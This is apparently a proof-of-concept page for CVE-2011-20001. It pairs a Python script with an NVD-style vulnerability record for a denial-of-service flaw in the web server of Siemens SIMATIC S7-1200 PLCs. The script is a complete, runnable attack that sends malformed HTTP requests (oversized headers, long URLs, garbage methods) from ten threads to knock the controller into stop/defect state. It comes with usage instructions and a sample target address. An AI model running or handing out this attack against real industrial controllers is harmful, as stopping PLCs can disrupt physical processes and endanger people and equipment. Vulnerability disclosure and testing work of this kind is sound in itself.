CVE-2011-20001

#!/usr/bin/env python3 # CVE-2011-20001 - Siemens SIMATIC S7-1200 Web Server DoS PoC # This PoC demonstrates sending malformed HTTP requests at high rate # to force the SIMATIC S7-1200 PLC into stop/defect state. # # Usage: python3 cve_2011_20001_poc.py <target_ip> [port] # Requirements: None (uses standard library only) import socket import sys import time import threading def send_malformed_http(target_ip, target_port, thread_id): """Send malformed HTTP requests to exhaust PLC web server resources""" malformed_requests = [ # Malformed HTTP with invalid headers b"GET / HTTP/1.1\r\nHost: " + b"A" * 8192 + b"\r\n\r\n", # Extremely long URL b"GET /" + b"A" * 16384 + b" HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\n\r\n", # Invalid HTTP method with garbage data b"GARBAGE / HTTP/9.9\r\n" + b"X-" * 4096 + b": value\r\n\r\n", # Malformed Content-Length b"POST / HTTP/1.1\r\nHost: " + target_ip.encode() + b"\r\nContent-Length: -1\r\n\r\n" + b"\x00" * 1024, # Incomplete HTTP request b"GET /" + b"?" * 4096, ] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) try: sock.connect((target_ip, target_port)) for i in range(500): try: request = malformed_requests[i % len(malformed_requests)] sock.send(request) time.sleep(0.01) except: # Reconnect if connection drops sock.close() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) sock.connect((target_ip, target_port)) except Exception as e: print(f"[Thread {thread_id}] Error: {e}") finally: sock.close() def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 num_threads = 10 print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Launching {num_threads} threads with malformed HTTP requests...") print(f"[*] CVE-2011-20001 - SIMATIC S7-1200 Web Server DoS") threads = [] for i in range(num_threads): t = threading.Thread(target=send_malformed_http, args=(target_ip, target_port, i)) t.daemon = True t.start() threads.append(t) # Run for 30 seconds time.sleep(30) print("[*] Attack completed. Check target device status.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2011-20001", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:32.457", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in SIMATIC S7-1200 CPU V1 family (incl. SIPLUS variants) (All versions < V2.0.3), SIMATIC S7-1200 CPU V2 family (incl. SIPLUS variants) (All versions < V2.0.3). The web server interface of affected devices improperly processes incoming malformed HTTP traffic at high rate. This could allow an unauthenticated remote attacker to force the device entering the stop/defect state, thus creating a denial of service condition."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-625789.html", "source": "[email protected]"}]}}